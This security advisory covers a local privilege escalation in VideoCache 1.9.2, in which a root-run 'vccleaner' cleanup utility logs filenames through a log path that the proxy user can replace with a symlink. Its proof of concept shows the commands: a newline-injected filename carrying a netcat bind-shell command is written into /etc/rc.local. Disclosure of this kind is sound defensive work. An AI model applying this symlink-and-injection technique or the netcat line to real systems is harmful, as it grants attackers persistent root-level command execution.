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| VideoCache is a Squid URL rewriter plugin written in Python for bandwidth optimization while browsing video sharing websites. Version 1.9.2 allows a user with the privileges of the Squid proxy server to append semi-arbitrary data to arbitrary files with root privileges, upon the administrator's execution of the 'vccleaner' utility. |
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Credit:
The information has been provided by Dominick LaTrappe.
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Vulnerable Systems:
* VideoCache 1.9.2
VideoCache's 'vccleaner' utility is intended to be executed with root permissions periodically, to remove expired videos from the cache. (The utility will refuse to execute without root permissions.) Upon execution, it looks for old files under the cache directory /var/spool/videocache (writable by the Squid proxy user) and deletes them. Each deleted filename is logged to vccleaner.log, located in /var/log/videocache (directory writable by the Squid proxy user).
Exploit
.........................attacker.........................
$ id
uid=13(proxy) gid=13(proxy)
groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log
.........................admin.........................
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner Videocache cleaning has completed successfully.
.........................postmortem.........................
$ cat /etc/rc.local
2009-12-16 06:56:29,403 INFO START Starting Videocache Cleaner.
2009-12-16 06:56:29,403 INFO DELETE /var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey Older than 14594 day(s) was deleted.
2009-12-16 06:56:29,404 INFO STOP Stopping Videocache Cleaner.
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